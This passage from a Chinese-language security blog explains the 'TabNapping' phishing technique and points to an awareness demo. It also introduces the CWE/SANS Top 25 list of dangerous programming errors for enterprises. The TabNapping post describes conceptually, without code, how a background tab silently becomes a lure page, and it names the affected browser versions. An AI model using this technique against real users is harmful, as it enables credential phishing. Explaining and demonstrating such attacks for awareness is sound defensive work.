(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)

繼續閱讀全文...

2010年5月27日

模擬實戰標籤綁架手法(Challenge to TabNapping)

暨「點閱綁架(Clickjacking)」手法之後,又出現「標籤綁架(TabNapping)」的新手法了。
直接來親身體驗吧!這裡有實作的體驗網站 (FireFox 確定可以被利用)。畫面如下:


實戰標籤綁架,主要利用欺瞞手法,當你瀏覽網站時,切換到不同索引標籤(或書籤、分頁),或切換到不同視窗後五秒鐘,該有問題的頁面就會被偷偷轉換成另外一個誘騙的瀏覽頁面,於是就出現「猥琐」的事件。目前已知可以成功的瀏覽器:
1.Firefox 3.6.3
2.Chrome 4.1.249.1064

手法剖析:
1.目前大多主流之瀏覽器都有索引標籤(IE&Safari 使用此稱呼)、標籤頁(Safari 亦有用此稱呼),或稱「分頁」(Chrome&FireFox 使用此稱呼)之功能。
2.當大量使用上述功能於同一瀏覽器中,其中一頁面可以用此程式語法加以利用。
3.將頁面內容偷偷改變成為另一頁面內容,導致誘騙上當之情事。
4.可做為網路釣魚或詐騙的手法之一。

相關挑戰之系列文章:
模擬實戰點閱綁架手法
模擬實戰釣魚網站」(目前已被歸類為 Click by Download 手法)

參考資料:
Raskin 之個人部落格 PS:他是 Mozilla Firefox 瀏覽器的介面及創意負責人。在他的 Bolg 上亦展示了此手法。
相關新聞:
ITHome
資安之眼

本文同步張貼於「資安之我見」。

繼續閱讀全文...

2010年4月7日

輕鬆看懂CWE/SANS Top 25

常有人會問,什麼XX工具是否符合 SANS Top20還是 OWASP Top 10,那我們企業是否要照單全收?或者為什麼要有 SANS Top 25 、SANS Top 20 、OWASP Top 10 之類的規範?答案當然是不需要照單全收,而是因時因地制宜,譬如依照不同的IT環境,這些Top N項目不見得全部都適用,例如公司中沒有採用 Unix相關的作業系統,有些只會出現在特定環境組態的風險就不會出現。而這些規範是幫助我們了解企業資訊環境所面臨的威脅與潛在問題,讓企業在決策時有一個比較的參考水準,因此就有了 Compliance 的工具需求以及作法,例如在滲透測試或弱點掃描時就會以 Top N的呈現方式,讓業主可以清楚地了解自家環境的資安級數。



續前文

SANS與 CWE在2月公布了新版的Top 25 最危險的程式錯誤(Most Dangerous Programming Errors),總共分為三大類型元件之間不安全的互動(Insecure Interaction Between Components)、具風險的資源管理(Risky Resource Management)以及防禦不周全(Porous Defenses)。入選的時候有41項,後來評比之後選出最高風險的 25項,排名是一個在此時空環境之下的先後次序,我們在運用這份文件時,應該著重於了解其中的精髓以及他要傳達的意義。本文希望可以透過如何輕鬆地運用 SANS Top 25的方法,讓有需要的人可以順利地取用此珍貴資源,協助企業營造更完善的資安環境。協助發展 Top 25的專家認為現在面對網站應用系統的攻擊,必須從系統設計、開發過程就具有對抗常見攻擊的安全程式,若是程式本身設計與實作忽略安全,要找到攻擊網站的弱點、入侵資料庫就變得更容易。

面面俱到的SANS Top 25輕鬆上手

在SANS Top 25的文件中,非常貼心地設計了幾個章節項目,包含建議對象與閱讀方式,哪些角色應該閱讀哪些章節,閱讀的順序等。適合了解的人包含,例如:剛開始接觸安全議題,可以從25項的摘要列表開始,接著從修補方式依照您熟悉的程式語言,進行了解,這樣可以很快地知道如何從簡單的修正方式,來避免常犯下的安全錯誤。當然也可以僅挑選您有興趣的重點項目。其他角色包含:對資安熟稔的程式設計人員、軟體專案經理、軟體測試人員、軟體之使用者、教育訓練講師等,幾乎涵蓋所有相關角色,企業同時也可以運用此文件作為內部作業流程的參考範本。

其內容包含25項常見危險錯誤的描述、 該項錯誤所造成的後果、矯正的成本、偵測的難易度、攻擊頻率與攻擊者之熟稔度、技術資料說明、程式碼範例、偵測方法與預防方式,尤其是預防矯正方式中還告訴各位在軟體發展生命週期(SDLC)中的甚麼階段該介入,該做甚麼事情。像需求發展確認階段、架構與設計、建構實作、測試與上線營運的重點指引。摘要如下:

1. 教育訓練之重點提示,可以讓學校可以參考此文件之作法教學,讓畢業學生都知道該知道的安全程式方法與其源由。Top 25 也很貼心地列舉在程式設計人員教育訓練可強調之項目與內容,按照藥方來調理體質,應該可以獲得不錯的成效。

2. 依照程式語言分類的弱點項目與相關性。語言項目包含C/C++、Java、PHP、Perl。程式範例涵蓋更多語言。

3. 黑白箱工具對於該項弱點的效用分析。利用工具或人工,所做的白箱與黑箱分析檢驗,能夠涵蓋 Top 25 高中低或者是有限(Ltd)的程度。

4. 軟體開發人員認為最重要的順序 v.s 軟體用戶/客戶心中的順序。程式開發人員建立安全程式撰寫實務(security practice)之優先順序,也包含客戶最重視的優先順序,其中是有落差的,似乎問題的答案就呼之欲出。

5. 依照技術面的衝擊,包含惡意程式碼執行、資訊洩漏、取得高權限、繞過(Bypass)安全防禦機制、阻斷服務。

填補文件到現實的落差

通常一份好的文件或參考指引,到真正能夠發揮效用,這中間是有實務上的落差的。原因從大而小不外乎組織文化無法調整接納、人員能力訓練不足或人力不足空有文件亦無發揮之處、現有流程難以更動或未標準化,以及缺乏合適的工具或服務輔助完成。因此,在運用SANS Top 25時,可能會遭遇到理想與現實的重大斷層,要達到善加利用人家現成天上掉下來的禮物,還得有一套漸進、穩扎穩打的戰略。一般會建議先針對您所使用的相關語言或資訊環境涵蓋哪些問題項目,做好對自己的了解;然後利用弱點掃描、滲透測試或程式碼檢查的方式先找出問題,進行體檢與評估;接著SANS Top 25就可以派上用場,參照其計畫落實如何防禦及偵測涵蓋項目;最後則回到強化人員、流程、工具及組織文化調整,人員訓練可以參考表二,並且要定期去稽核確保是否落實以上項目。發揮 Due Care、Due Diligence的精神持之以恆。

本文投稿於資安人雜誌

阿碼科技在資安展 亞太資訊安全論壇 有兩場演講

1. 洞悉與展演 2010 Web 攻擊與應變趨勢2. 雲端、組改、個資無限好,資訊安全如何來確保?

記得來參加啊! 如果要學習網站安全程式,也可參考這個網頁安全程式撰寫技巧實戰養成班


繼續閱讀全文...